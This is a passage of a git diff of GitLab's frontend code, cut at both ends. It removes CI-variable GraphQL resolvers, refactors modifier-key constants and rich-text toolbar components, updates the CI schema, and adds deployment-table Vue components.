-const prepareGroupGraphQLResponse = ({ data, id, errors = [] }) => {
- return {
- errors,
- group: {
- __typename: GRAPHQL_GROUP_TYPE,
- id: convertToGraphQLId(GRAPHQL_GROUP_TYPE, id),
- ciVariables: {
- __typename: `Ci${GRAPHQL_GROUP_TYPE}VariableConnection`,
- pageInfo: {
- __typename: 'PageInfo',
- hasNextPage: false,
- hasPreviousPage: false,
- startCursor: '',
- endCursor: '',
- },
- nodes: mapVariableTypes(data.variables, groupString),
- },
- },
- };
-};
-
-const prepareAdminGraphQLResponse = ({ data, errors = [] }) => {
- return {
- errors,
- ciVariables: {
- __typename: `Ci${instanceString}VariableConnection`,
- pageInfo: {
- __typename: 'PageInfo',
- hasNextPage: false,
- hasPreviousPage: false,
- startCursor: '',
- endCursor: '',
- },
- nodes: mapVariableTypes(data.variables, instanceString),
- },
- };
-};
-
-async function callProjectEndpoint({ endpoint, fullPath, variable, id, cache, destroy = false }) {
- try {
- const { data } = await axios.patch(endpoint, {
- variables_attributes: [prepareVariableForApi({ variable, destroy })],
- });
-
- const graphqlData = prepareProjectGraphQLResponse({ data, id });
-
- cache.writeQuery({
- query: getProjectVariables,
- variables: {
- fullPath,
- after: null,
- },
- data: graphqlData,
- });
- return graphqlData;
- } catch (e) {
- return prepareProjectGraphQLResponse({
- data: cache.readQuery({ query: getProjectVariables, variables: { fullPath } }),
- id,
- errors: [...e.response.data],
- });
- }
-}
-
-const callGroupEndpoint = async ({ endpoint, fullPath, variable, id, cache, destroy = false }) => {
- try {
- const { data } = await axios.patch(endpoint, {
- variables_attributes: [prepareVariableForApi({ variable, destroy })],
- });
-
- const graphqlData = prepareGroupGraphQLResponse({ data, id });
-
- cache.writeQuery({
- query: getGroupVariables,
- data: graphqlData,
- });
-
- return graphqlData;
- } catch (e) {
- return prepareGroupGraphQLResponse({
- data: cache.readQuery({ query: getGroupVariables, variables: { fullPath } }),
- id,
- errors: [...e.response.data],
- });
- }
-};
-
-const callAdminEndpoint = async ({ endpoint, variable, cache, destroy = false }) => {
- try {
- const { data } = await axios.patch(endpoint, {
- variables_attributes: [prepareVariableForApi({ variable, destroy })],
- });
-
- const graphqlData = prepareAdminGraphQLResponse({ data });
-
- cache.writeQuery({
- query: getAdminVariables,
- data: graphqlData,
- });
-
- return graphqlData;
- } catch (e) {
- return prepareAdminGraphQLResponse({
- data: cache.readQuery({ query: getAdminVariables }),
- errors: [...e.response.data],
- });
- }
-};
-
-export const resolvers = {
- Mutation: {
- addProjectVariable: async (_, { endpoint, fullPath, variable, id }, { cache }) => {
- return callProjectEndpoint({ endpoint, fullPath, variable, id, cache });
- },
- updateProjectVariable: async (_, { endpoint, fullPath, variable, id }, { cache }) => {
- return callProjectEndpoint({ endpoint, fullPath, variable, id, cache });
- },
- deleteProjectVariable: async (_, { endpoint, fullPath, variable, id }, { cache }) => {
- return callProjectEndpoint({ endpoint, fullPath, variable, id, cache, destroy: true });
- },
- addGroupVariable: async (_, { endpoint, fullPath, variable, id }, { cache }) => {
- return callGroupEndpoint({ endpoint, fullPath, variable, id, cache });
- },
- updateGroupVariable: async (_, { endpoint, fullPath, variable, id }, { cache }) => {
- return callGroupEndpoint({ endpoint, fullPath, variable, id, cache });
- },
- deleteGroupVariable: async (_, { endpoint, fullPath, variable, id }, { cache }) => {
- return callGroupEndpoint({ endpoint, fullPath, variable, id, cache, destroy: true });
- },
- addAdminVariable: async (_, { endpoint, variable }, { cache }) => {
- return callAdminEndpoint({ endpoint, variable, cache });
- },
- updateAdminVariable: async (_, { endpoint, variable }, { cache }) => {
- return callAdminEndpoint({ endpoint, variable, cache });
- },
- deleteAdminVariable: async (_, { endpoint, variable }, { cache }) => {
- return callAdminEndpoint({ endpoint, variable, cache, destroy: true });
- },
- },
-};
-
-export const mergeVariables = (existing, incoming, { args }) => {
- if (!existing || !args?.after) {
- return incoming;
- }
-
- const { nodes, ...rest } = incoming;
- const result = rest;
- result.nodes = [...existing.nodes, ...nodes];
-
- return result;
-};
-
-export const cacheConfig = {
- cacheConfig: {
- typePolicies: {
- Query: {
- fields: {
- ciVariables: {
- keyArgs: false,
- merge: mergeVariables,
- },
- },
- },
- Project: {
- fields: {
- ciVariables: {
- keyArgs: ['fullPath', 'endpoint', 'id'],
- merge: mergeVariables,
- },
- },
- },
- Group: {
- fields: {
- ciVariables: {
- keyArgs: ['fullPath'],
- merge: mergeVariables,
- },
- },
- },
- },
- },
-};
diff --git a/app/assets/javascripts/constants.js b/app/assets/javascripts/constants.js
index c56d45166a0..defc2cbe276 100644
--- a/app/assets/javascripts/constants.js
+++ b/app/assets/javascripts/constants.js
@@ -1,3 +1,6 @@
-import { s__ } from '~/locale';
+/* eslint-disable @gitlab/require-i18n-strings */
-export const MODIFIER_KEY = window.gl?.client?.isMac ? '⌘' : s__('KeyboardKey|Ctrl+');
+export const getModifierKey = (removeSuffix = false) => {
+ const winKey = `Ctrl${removeSuffix ? '' : '+'}`;
+ return window.gl?.client?.isMac ? '⌘' : winKey;
+};
diff --git a/app/assets/javascripts/content_editor/components/content_editor.vue b/app/assets/javascripts/content_editor/components/content_editor.vue
index 53a37fc0c51..237808983ee 100644
--- a/app/assets/javascripts/content_editor/components/content_editor.vue
+++ b/app/assets/javascripts/content_editor/components/content_editor.vue
@@ -168,7 +168,12 @@ export default {
class="md-area"
:class="{ 'is-focused': focused }"
>
- <formatting-toolbar v-if="!useBottomToolbar" ref="toolbar" class="gl-border-b" />
+ <formatting-toolbar
+ v-if="!useBottomToolbar"
+ ref="toolbar"
+ class="gl-border-b"
+ @enableMarkdownEditor="$emit('enableMarkdownEditor')"
+ />
<div class="gl-relative gl-mt-4">
<formatting-bubble-menu />
<code-block-bubble-menu />
@@ -181,7 +186,12 @@ export default {
/>
<loading-indicator v-if="isLoading" />
</div>
- <formatting-toolbar v-if="useBottomToolbar" ref="toolbar" class="gl-border-t" />
+ <formatting-toolbar
+ v-if="useBottomToolbar"
+ ref="toolbar"
+ class="gl-border-t"
+ @enableMarkdownEditor="$emit('enableMarkdownEditor')"
+ />
</div>
</div>
</content-editor-provider>
diff --git a/app/assets/javascripts/content_editor/components/formatting_toolbar.vue b/app/assets/javascripts/content_editor/components/formatting_toolbar.vue
index 8a25ad3fd96..36ca3b8cfb6 100644
--- a/app/assets/javascripts/content_editor/components/formatting_toolbar.vue
+++ b/app/assets/javascripts/content_editor/components/formatting_toolbar.vue
@@ -1,4 +1,5 @@
<script>
+import EditorModeDropdown from '~/vue_shared/components/markdown/editor_mode_dropdown.vue';
import trackUIControl from '../services/track_ui_control';
import ToolbarButton from './toolbar_button.vue';
import ToolbarImageButton from './toolbar_image_button.vue';
@@ -9,6 +10,7 @@ import ToolbarMoreDropdown from './toolbar_more_dropdown.vue';
export default {
components: {
+ EditorModeDropdown,
ToolbarButton,
ToolbarTextStyleDropdown,
ToolbarLinkButton,
@@ -20,6 +22,11 @@ export default {
trackToolbarControlExecution({ contentType, value }) {
trackUIControl({ property: contentType, value });
},
+ handleEditorModeChanged(mode) {
+ if (mode === 'markdown') {
+ this.$emit('enableMarkdownEditor');
+ }
+ },
},
};
</script>
@@ -101,6 +108,8 @@ export default {
/>
<toolbar-table-button data-testid="table" @execute="trackToolbarControlExecution" />
<toolbar-more-dropdown data-testid="more" @execute="trackToolbarControlExecution" />
+
+ <editor-mode-dropdown class="gl-ml-auto" value="richText" @input="handleEditorModeChanged" />
</div>
</template>
<style>
diff --git a/app/assets/javascripts/content_editor/components/toolbar_text_style_dropdown.vue b/app/assets/javascripts/content_editor/components/toolbar_text_style_dropdown.vue
index 2bf32a70cd1..9c1d1faca48 100644
--- a/app/assets/javascripts/content_editor/components/toolbar_text_style_dropdown.vue
+++ b/app/assets/javascripts/content_editor/components/toolbar_text_style_dropdown.vue
@@ -1,13 +1,12 @@
<script>
-import { GlDropdown, GlDropdownItem, GlTooltipDirective as GlTooltip } from '@gitlab/ui';
+import { GlTooltipDirective as GlTooltip, GlCollapsibleListbox } from '@gitlab/ui';
import { __ } from '~/locale';
import { TEXT_STYLE_DROPDOWN_ITEMS } from '../constants';
import EditorStateObserver from './editor_state_observer.vue';
export default {
components: {
- GlDropdown,
- GlDropdownItem,
+ GlCollapsibleListbox,
EditorStateObserver,
},
directives: {
@@ -25,15 +24,26 @@ export default {
return activeItem ? activeItem.label : this.$options.i18n.placeholder;
},
+ listboxItems() {
+ return this.$options.items.map((item) => {
+ return {
+ value: item.label,
+ text: item.label,
+ };
+ });
+ },
},
methods: {
+ mapDropdownItemToCommand(dropdownItem) {
+ return this.$options.items.find((option) => option.label === dropdownItem);
+ },
updateActiveItem({ editor }) {
this.activeItem = TEXT_STYLE_DROPDOWN_ITEMS.find((item) =>
editor.isActive(item.contentType, item.commandParams),
);
},
execute(item) {
- const { editorCommand, contentType, commandParams } = item;
+ const { editorCommand, contentType, commandParams } = this.mapDropdownItemToCommand(item);
const value = commandParams?.level;
if (editorCommand) {
@@ -46,8 +56,8 @@ export default {
this.$emit('execute', { contentType, value });
},
- isActive(item) {
- return this.tiptapEditor.isActive(item.contentType, item.commandParams);
+ isActive(dropdownItem) {
+ return this.tiptapEditor.isActive(dropdownItem.contentType, dropdownItem.commandParams);
},
},
items: TEXT_STYLE_DROPDOWN_ITEMS,
@@ -58,25 +68,15 @@ export default {
</script>
<template>
<editor-state-observer @transaction="updateActiveItem">
- <gl-dropdown
- v-gl-tooltip="$options.i18n.placeholder"
- size="small"
- data-qa-selector="text_style_dropdown"
+ <gl-collapsible-listbox
+ v-gl-tooltip.hover="$options.i18n.placeholder"
+ :items="listboxItems"
+ :toggle-text="activeItemLabel"
+ :selected="activeItemLabel"
:disabled="!activeItem"
- :text="activeItemLabel"
- lazy
- >
- <gl-dropdown-item
- v-for="(item, index) in $options.items"
- :key="index"
- is-check-item
- :is-checked="isActive(item)"
- data-qa-selector="text_style_menu_item"
- :data-qa-text-style="item.label"
- @click="execute(item)"
- >
- {{ item.label }}
- </gl-dropdown-item>
- </gl-dropdown>
+ :data-qa-text-style="activeItemLabel"
+ data-qa-selector="text_style_dropdown"
+ @select="execute"
+ />
</editor-state-observer>
</template>
diff --git a/app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue b/app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue
index c6aeb6c726d..9811a0774e1 100644
--- a/app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue
+++ b/app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue
@@ -11,7 +11,7 @@ import { debounce } from 'lodash';
import axios from '~/lib/utils/axios_utils';
import { backOff } from '~/lib/utils/common_utils';
import csrf from '~/lib/utils/csrf';
-import statusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
import { __, s__ } from '~/locale';
import { queryTypes, formDataValidator } from '../constants';
@@ -23,7 +23,7 @@ function backOffRequest(makeRequestCallback) {
return backOff((next, stop) => {
makeRequestCallback()
.then((resp) => {
- if (resp.status === statusCodes.OK) {
+ if (resp.status === HTTP_STATUS_OK) {
stop(resp);
} else {
next();
diff --git a/app/assets/javascripts/deploy_tokens/components/new_deploy_token.vue b/app/assets/javascripts/deploy_tokens/components/new_deploy_token.vue
index 48ab9ce0a3c..57fae608efa 100644
--- a/app/assets/javascripts/deploy_tokens/components/new_deploy_token.vue
+++ b/app/assets/javascripts/deploy_tokens/components/new_deploy_token.vue
@@ -288,7 +288,7 @@ export default {
</div>
</gl-form-group>
<div>
- <gl-button variant="success" @click="createDeployToken">
+ <gl-button variant="confirm" @click="createDeployToken">
{{ $options.translations.addTokenButton }}
</gl-button>
</div>
diff --git a/app/assets/javascripts/deprecated_notes.js b/app/assets/javascripts/deprecated_notes.js
index c090a66a69d..8019a10a042 100644
--- a/app/assets/javascripts/deprecated_notes.js
+++ b/app/assets/javascripts/deprecated_notes.js
@@ -15,6 +15,7 @@ import Autosize from 'autosize';
import $ from 'jquery';
import { escape, uniqueId } from 'lodash';
import Vue from 'vue';
+import { renderGFM } from '~/behaviors/markdown/render_gfm';
import { createAlert, VARIANT_INFO } from '~/flash';
import '~/lib/utils/jquery_at_who';
import AjaxCache from '~/lib/utils/ajax_cache';
@@ -40,7 +41,6 @@ import { localTimeAgo } from './lib/utils/datetime_utility';
import { getLocationHash } from './lib/utils/url_utility';
import { sprintf, s__, __ } from './locale';
import TaskList from './task_list';
-import '~/behaviors/markdown/init_gfm';
window.autosize = Autosize;
@@ -516,7 +516,11 @@ export default class Notes {
}
if (discussionContainer.length === 0) {
if (noteEntity.diff_discussion_html) {
- const $discussion = $(noteEntity.diff_discussion_html).renderGFM();
+ const discussionElement = document.createElement('table');
+ // eslint-disable-next-line no-unsanitized/method
+ discussionElement.insertAdjacentHTML('afterbegin', noteEntity.diff_discussion_html);
+ renderGFM(discussionElement);
+ const $discussion = $(discussionElement).unwrap();
if (!this.isParallelView() || row.hasClass('js-temp-notes-holder') || noteEntity.on_image) {
// insert the note and the reply button after the temp row
@@ -571,7 +575,9 @@ export default class Notes {
// reset text and preview
form.find('.js-md-write-button').click();
form.find('.js-note-text').val('').trigger('input');
- form.find('.js-note-text').data('autosave').reset();
+ form.find('.js-note-text').each(function reset() {
+ this.$autosave.reset();
+ });
const event = document.createEvent('Event');
event.initEvent('autosize:update', true, false);
@@ -638,7 +644,9 @@ export default class Notes {
// DiffNote
form.find('#note_position').val(),
];
- return new Autosave(textarea, key);
+ const textareaEl = textarea.get(0);
+ // eslint-disable-next-line no-new
+ if (textareaEl) new Autosave(textareaEl, key);
}
/**
@@ -708,7 +716,7 @@ export default class Notes {
$noteAvatar.append($targetNoteBadge);
this.revertNoteEditForm($targetNote);
- $noteEntityEl.renderGFM();
+ renderGFM($noteEntityEl.get(0));
// Find the note's `li` element by ID and replace it with the updated HTML
const $note_li = $(`.note-row-${noteEntity.id}`);
@@ -1082,7 +1090,9 @@ export default class Notes {
const row = form.closest('tr');
const glForm = form.data('glForm');
glForm.destroy();
- form.find('.js-note-text').data('autosave').reset();
+ form.find('.js-note-text').each(function reset() {
+ this.$autosave.reset();
+ });
// show the reply button (will only work for replies)
form.prev('.discussion-reply-holder').show();
if (row.is('.js-temp-notes-holder')) {
@@ -1382,7 +1392,8 @@ export default class Notes {
static animateAppendNote(noteHtml, $notesList) {
const $note = $(noteHtml);
- $note.addClass('fade-in-full').renderGFM();
+ $note.addClass('fade-in-full');
+ renderGFM($note.get(0));
$notesList.append($note);
return $note;
}
@@ -1390,7 +1401,8 @@ export default class Notes {
static animateUpdateNote(noteHtml, $note) {
const $updatedNote = $(noteHtml);
- $updatedNote.addClass('fade-in').renderGFM();
+ $updatedNote.addClass('fade-in');
+ renderGFM($updatedNote.get(0));
$note.replaceWith($updatedNote);
return $updatedNote;
}
diff --git a/app/assets/javascripts/design_management/components/design_notes/design_reply_form.vue b/app/assets/javascripts/design_management/components/design_notes/design_reply_form.vue
index 5a6b220e532..830f16b50ee 100644
--- a/app/assets/javascripts/design_management/components/design_notes/design_reply_form.vue
+++ b/app/assets/javascripts/design_management/components/design_notes/design_reply_form.vue
@@ -1,6 +1,5 @@
<script>
import { GlButton } from '@gitlab/ui';
-import $ from 'jquery';
import { helpPagePath } from '~/helpers/help_page_helper';
import { s__ } from '~/locale';
import Autosave from '~/autosave';
@@ -118,7 +117,7 @@ export default {
},
initAutosaveComment() {
if (this.isLoggedIn) {
- this.autosaveDiscussion = new Autosave($(this.$refs.textarea), [
+ this.autosaveDiscussion = new Autosave(this.$refs.textarea, [
s__('DesignManagement|Discussion'),
getIdFromGraphQLId(this.noteableId),
this.shortDiscussionId,
diff --git a/app/assets/javascripts/diff.js b/app/assets/javascripts/diff.js
index 23eb470503e..65816495432 100644
--- a/app/assets/javascripts/diff.js
+++ b/app/assets/javascripts/diff.js
@@ -12,9 +12,13 @@ const UNFOLD_COUNT = 20;
let isBound = false;
export default class Diff {
- constructor() {
+ constructor({ mergeRequestEventHub } = {}) {
const $diffFile = $('.files .diff-file');
+ if (mergeRequestEventHub) {
+ this.mrHub = mergeRequestEventHub;
+ }
+
$diffFile.each((index, file) => {
if (!$.data(file, 'singleFileDiff')) {
$.data(file, 'singleFileDiff', new SingleFileDiff(file));
@@ -34,7 +38,8 @@ export default class Diff {
$(document)
.on('click', '.js-unfold', this.handleClickUnfold.bind(this))
.on('click', '.diff-line-num a', this.handleClickLineNum.bind(this))
- .on('mousedown', 'td.line_content.parallel', this.handleParallelLineDown.bind(this));
+ .on('mousedown', 'td.line_content.parallel', this.handleParallelLineDown.bind(this))
+ .on('click', '.inline-parallel-buttons a', ($e) => this.viewTypeSwitch($e));
isBound = true;
}
@@ -135,6 +140,20 @@ export default class Diff {
diffViewType() {
return $('.inline-parallel-buttons a.active').data('viewType');
}
+ viewTypeSwitch(event) {
+ const click = event.originalEvent;
+ const diffSource = new URL(click.target.getAttribute('href'), document.location.href);
+
+ if (this.mrHub) {
+ click.preventDefault();
+ click.stopPropagation();
+
+ diffSource.pathname = `${diffSource.pathname}.json`;
+
+ this.mrHub.$emit('diff:switch-view-type', { source: diffSource.toString() });
+ }
+ }
+
// eslint-disable-next-line class-methods-use-this
lineNumbers(line) {
const children = line.find('.diff-line-num').toArray();
diff --git a/app/assets/javascripts/diffs/components/app.vue b/app/assets/javascripts/diffs/components/app.vue
index 7bc75127876..35d1a564178 100644
--- a/app/assets/javascripts/diffs/components/app.vue
+++ b/app/assets/javascripts/diffs/components/app.vue
@@ -389,10 +389,7 @@ export default {
() => {
this.setDiscussions();
- if (
- this.$store.state.notes.doneFetchingBatchDiscussions &&
- window.gon?.features?.paginatedMrDiscussions
- ) {
+ if (this.$store.state.notes.doneFetchingBatchDiscussions) {
this.unwatchDiscussions();
}
},
@@ -402,10 +399,6 @@ export default {
() => `${this.retrievingBatches}:${this.$store.state.notes.discussions.length}`,
() => {
if (!this.retrievingBatches && this.$store.state.notes.discussions.length) {
- if (!window.gon?.features?.paginatedMrDiscussions) {
- this.unwatchDiscussions();
- }
-
this.unwatchRetrievingBatches();
}
},
diff --git a/app/assets/javascripts/diffs/components/diff_file_header.vue b/app/assets/javascripts/diffs/components/diff_file_header.vue
index dff61acdfba..16f45c3ad6a 100644
--- a/app/assets/javascripts/diffs/components/diff_file_header.vue
+++ b/app/assets/javascripts/diffs/components/diff_file_header.vue
@@ -427,6 +427,7 @@ export default {
:href="diffFile.ide_edit_path"
class="js-ide-edit-blob"
data-qa-selector="edit_in_ide_button"
+ target="_blank"
>
{{ __('Open in Web IDE') }}
</gl-dropdown-item>
diff --git a/app/assets/javascripts/diffs/components/merge_conflict_warning.vue b/app/assets/javascripts/diffs/components/merge_conflict_warning.vue
index c37a1d75650..6cb1ed4cbcf 100644
--- a/app/assets/javascripts/diffs/components/merge_conflict_warning.vue
+++ b/app/assets/javascripts/diffs/components/merge_conflict_warning.vue
@@ -36,7 +36,7 @@ export default {
<p class="gl-mb-0">
{{
__(
- 'Resolve these conflicts or ask someone with write access to this repository to merge it locally.',
+ 'Resolve these conflicts, or ask someone with write access to this repository to resolve them locally.',
)
}}
</p>
@@ -54,7 +54,7 @@ export default {
v-gl-modal-directive="'modal-merge-info'"
class="gl-alert-action"
>
- {{ __('Merge locally') }}
+ {{ __('Resolve locally') }}
</gl-button>
</template>
</gl-alert>
diff --git a/app/assets/javascripts/diffs/components/tree_list.vue b/app/assets/javascripts/diffs/components/tree_list.vue
index ffbea854001..abf77fa2ede 100644
--- a/app/assets/javascripts/diffs/components/tree_list.vue
+++ b/app/assets/javascripts/diffs/components/tree_list.vue
@@ -2,10 +2,13 @@
import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { mapActions, mapGetters, mapState } from 'vuex';
import micromatch from 'micromatch';
+import { getModifierKey } from '~/constants';
import { s__, sprintf } from '~/locale';
import FileTree from '~/vue_shared/components/file_tree.vue';
import DiffFileRow from './diff_file_row.vue';
+const MODIFIER_KEY = getModifierKey();
+
export default {
directives: {
GlTooltip: GlTooltipDirective,
@@ -65,8 +68,8 @@ export default {
this.search = '';
},
},
- searchPlaceholder: sprintf(s__('MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)'), {
- modifier_key: /Mac/i.test(navigator.userAgent) ? '⌘' : 'Ctrl+',
+ searchPlaceholder: sprintf(s__('MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)'), {
+ MODIFIER_KEY,
}),
DiffFileRow,
};
diff --git a/app/assets/javascripts/diffs/store/actions.js b/app/assets/javascripts/diffs/store/actions.js
index 96a73917820..9f90de9abde 100644
--- a/app/assets/javascripts/diffs/store/actions.js
+++ b/app/assets/javascripts/diffs/store/actions.js
@@ -9,7 +9,7 @@ import { createAlert, VARIANT_WARNING } from '~/flash';
import { diffViewerModes } from '~/ide/constants';
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_NOT_FOUND, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import Poll from '~/lib/utils/poll';
import { mergeUrlParams, getLocationHash } from '~/lib/utils/url_utility';
import { __, s__ } from '~/locale';
@@ -232,7 +232,7 @@ export const fetchDiffFilesMeta = ({ commit, state }) => {
.catch((error) => {
worker.terminate();
- if (error.response.status === httpStatusCodes.NOT_FOUND) {
+ if (error.response.status === HTTP_STATUS_NOT_FOUND) {
createAlert({
message: __('Building your merge request. Wait a few moments, then refresh this page.'),
variant: VARIANT_WARNING,
@@ -248,7 +248,7 @@ export const fetchCoverageFiles = ({ commit, state }) => {
data: state.endpointCoverage,
method: 'getCoverageReports',
successCallback: ({ status, data }) => {
- if (status === httpStatusCodes.OK) {
+ if (status === HTTP_STATUS_OK) {
commit(types.SET_COVERAGE_DATA, data);
coveragePoll.stop();
diff --git a/app/assets/javascripts/editor/constants.js b/app/assets/javascripts/editor/constants.js
index d0649ecccba..d235319dfd7 100644
--- a/app/assets/javascripts/editor/constants.js
+++ b/app/assets/javascripts/editor/constants.js
@@ -1,7 +1,9 @@
-import { MODIFIER_KEY } from '~/constants';
+import { getModifierKey } from '~/constants';
import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
import { s__, __, sprintf } from '~/locale';
+const modifierKey = getModifierKey();
+
export const URI_PREFIX = 'gitlab';
export const CONTENT_UPDATE_DEBOUNCE = DEFAULT_DEBOUNCE_AND_THROTTLE_MS;
@@ -67,7 +69,7 @@ export const EXTENSION_MARKDOWN_BUTTONS = [
{
id: 'bold',
label: sprintf(s__('MarkdownEditor|Add bold text (%{modifierKey}B)'), {
- modifierKey: MODIFIER_KEY,
+ modifierKey,
}),
data: {
mdTag: '**',
@@ -77,7 +79,7 @@ export const EXTENSION_MARKDOWN_BUTTONS = [
{
id: 'italic',
label: sprintf(s__('MarkdownEditor|Add italic text (%{modifierKey}I)'), {
- modifierKey: MODIFIER_KEY,
+ modifierKey,
}),
data: {
mdTag: '_',
@@ -87,7 +89,7 @@ export const EXTENSION_MARKDOWN_BUTTONS = [
{
id: 'strikethrough',
label: sprintf(s__('MarkdownEditor|Add strikethrough text (%{modifierKey}⇧X)'), {
- modifierKey: MODIFIER_KEY,
+ modifierKey,
}),
data: {
mdTag: '~~',
@@ -113,7 +115,7 @@ export const EXTENSION_MARKDOWN_BUTTONS = [
{
id: 'link',
label: sprintf(s__('MarkdownEditor|Add a link (%{modifier_key}K)'), {
- modifierKey: MODIFIER_KEY,
+ modifierKey,
}),
data: {
mdTag: '[{text}](url)',
diff --git a/app/assets/javascripts/editor/schema/ci.json b/app/assets/javascripts/editor/schema/ci.json
index d94aa73e43a..87d869cc996 100644
--- a/app/assets/javascripts/editor/schema/ci.json
+++ b/app/assets/javascripts/editor/schema/ci.json
@@ -239,8 +239,15 @@
}
]
},
+ "browser_performance": {
+ "type": "string",
+ "description": "Path to a single file with browser performance metric report(s)."
+ },
"coverage_report": {
- "type": "object",
+ "type": [
+ "object",
+ "null"
+ ],
"description": "Used to collect coverage reports from the job.",
"properties": {
"coverage_format": {
@@ -292,10 +299,6 @@
"$ref": "#/definitions/string_file_list",
"description": "Path to file or list of files with license report(s)."
},
- "performance": {
- "$ref": "#/definitions/string_file_list",
- "description": "Path to file or list of files with performance metrics report(s)."
- },
"requirements": {
"$ref": "#/definitions/string_file_list",
"description": "Path to file or list of files with requirements report(s)."
@@ -703,7 +706,10 @@
}
},
"rules": {
- "type": "array",
+ "type": [
+ "array",
+ "null"
+ ],
"markdownDescription": "Rules allows for an array of individual rule objects to be evaluated in order, until one matches and dynamically provides attributes to the job. [Learn More](https://docs.gitlab.com/ee/ci/yaml/#rules).",
"items": {
"anyOf": [
@@ -994,6 +1000,11 @@
"pull-push"
]
},
+ "unprotect": {
+ "type": "boolean",
+ "markdownDescription": "Use `unprotect: true` to set a cache to be shared between protected and unprotected branches.",
+ "default": false
+ },
"untracked": {
"type": "boolean",
"markdownDescription": "Use `untracked: true` to cache all files that are untracked in your Git repository. [Learn More](https://docs.gitlab.com/ee/ci/yaml/#cacheuntracked)",
@@ -1601,7 +1612,7 @@
"description": "Creates N instances of the same job that run in parallel.",
"default": 0,
"minimum": 2,
- "maximum": 50
+ "maximum": 200
},
{
"type": "object",
@@ -1620,7 +1631,7 @@
]
}
},
- "maxItems": 50
+ "maxItems": 200
}
},
"additionalProperties": false,
diff --git a/app/assets/javascripts/environments/environment_details/components/deployment_job.vue b/app/assets/javascripts/environments/environment_details/components/deployment_job.vue
new file mode 100644
index 00000000000..dbe25a81550
--- /dev/null
+++ b/app/assets/javascripts/environments/environment_details/components/deployment_job.vue
@@ -0,0 +1,24 @@
+<script>
+import { GlTruncate, GlLink, GlBadge } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlBadge,
+ GlTruncate,
+ GlLink,
+ },
+ props: {
+ job: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ },
+};
+</script>
+<template>
+ <gl-link v-if="job" :href="job.webPath">
+ <gl-truncate :text="job.label" />
+ </gl-link>
+ <gl-badge v-else variant="info">{{ __('API') }}</gl-badge>
+</template>
diff --git a/app/assets/javascripts/environments/environment_details/components/deployment_status_link.vue b/app/assets/javascripts/environments/environment_details/components/deployment_status_link.vue
new file mode 100644
index 00000000000..82926e2e596
--- /dev/null
+++ b/app/assets/javascripts/environments/environment_details/components/deployment_status_link.vue
@@ -0,0 +1,26 @@
+<script>
+import DeploymentStatusBadge from '~/environments/components/deployment_status_badge.vue';
+
+export default {
+ components: {
+ DeploymentStatusBadge,
+ },
+ props: {
+ status: {
+ type: String,
+ required: true,
+ },
+ deploymentJob: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ },
+};
+</script>
+<template>
+ <a v-if="deploymentJob" data-testid="deployment-status-job-link" :href="deploymentJob.webPath">
+ <deployment-status-badge :status="status" />
+ </a>
+ <deployment-status-badge v-else :status="status" />
+</template>
diff --git a/app/assets/javascripts/environments/environment_details/components/deployment_triggerer.vue b/app/assets/javascripts/environments/environment_details/components/deployment_triggerer.vue
new file mode 100644
index 00000000000..18ff31f9b0f
--- /dev/null
+++ b/app/assets/javascripts/environments/environment_details/components/deployment_triggerer.vue
@@ -0,0 +1,25 @@
+<script>
+import { GlAvatar, GlAvatarLink, GlTooltipDirective } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlAvatar,
+ GlAvatarLink,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ triggerer: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ },
+};
+</script>
+<template>
+ <gl-avatar-link v-if="triggerer" :href="triggerer.webUrl">
+ <gl-avatar v-gl-tooltip :title="triggerer.name" :src="triggerer.avatarUrl" :size="24" />
+ </gl-avatar-link>
+</template>
diff --git a/app/assets/javascripts/environments/environment_details/constants.js b/app/assets/javascripts/environments/environment_details/constants.js
index 56c70c354b7..bf690ffedeb 100644
--- a/app/assets/javascripts/environments/environment_details/constants.js
+++ b/app/assets/javascripts/environments/environment_details/constants.js
@@ -1,4 +1,5 @@
-import { __ } from '~/locale';
+import { __, s__ } from '~/locale';
+import { helpPagePath } from '~/helpers/help_page_helper';
export const ENVIRONMENT_DETAILS_PAGE_SIZE = 20;
export const ENVIRONMENT_DETAILS_TABLE_FIELDS = [
@@ -45,3 +46,17 @@ export const ENVIRONMENT_DETAILS_TABLE_FIELDS = [
tdClass: 'gl-vertical-align-middle! gl-white-space-nowrap',
},
];
+
+export const translations = {
+ emptyStateTitle: s__("Deployments|You don't have any deployments right now."),
+ emptyStatePrimaryButton: __('Read more'),
+ emptyStateDescription: s__(
+ 'Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here.',
+ ),
+ nextPageButtonLabel: __('Next'),
+ previousPageButtonLabel: __('Prev'),
+};
+
+export const codeBlockPlaceholders = { code: ['code_open', 'code_close'] };
+
+export const environmentsHelpPagePath = helpPagePath('ci/environments/index.md');
diff --git a/app/assets/javascripts/environments/environment_details/deployments_table.vue b/app/assets/javascripts/environments/environment_details/deployments_table.vue
new file mode 100644
index 00000000000..41570ee44c0
--- /dev/null
+++ b/app/assets/javascripts/environments/environment_details/deployments_table.vue
@@ -0,0 +1,55 @@
+<script>
+import { GlTableLite } from '@gitlab/ui';
+import Commit from '~/vue_shared/components/commit.vue';
+import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+import DeploymentStatusLink from './components/deployment_status_link.vue';
+import DeploymentJob from './components/deployment_job.vue';
+import DeploymentTriggerer from './components/deployment_triggerer.vue';
+import { ENVIRONMENT_DETAILS_TABLE_FIELDS } from './constants';
+
+export default {
+ components: {
+ DeploymentTriggerer,
+ DeploymentJob,
+ Commit,
+ TimeAgoTooltip,
+ DeploymentStatusLink,
+ GlTableLite,
+ },
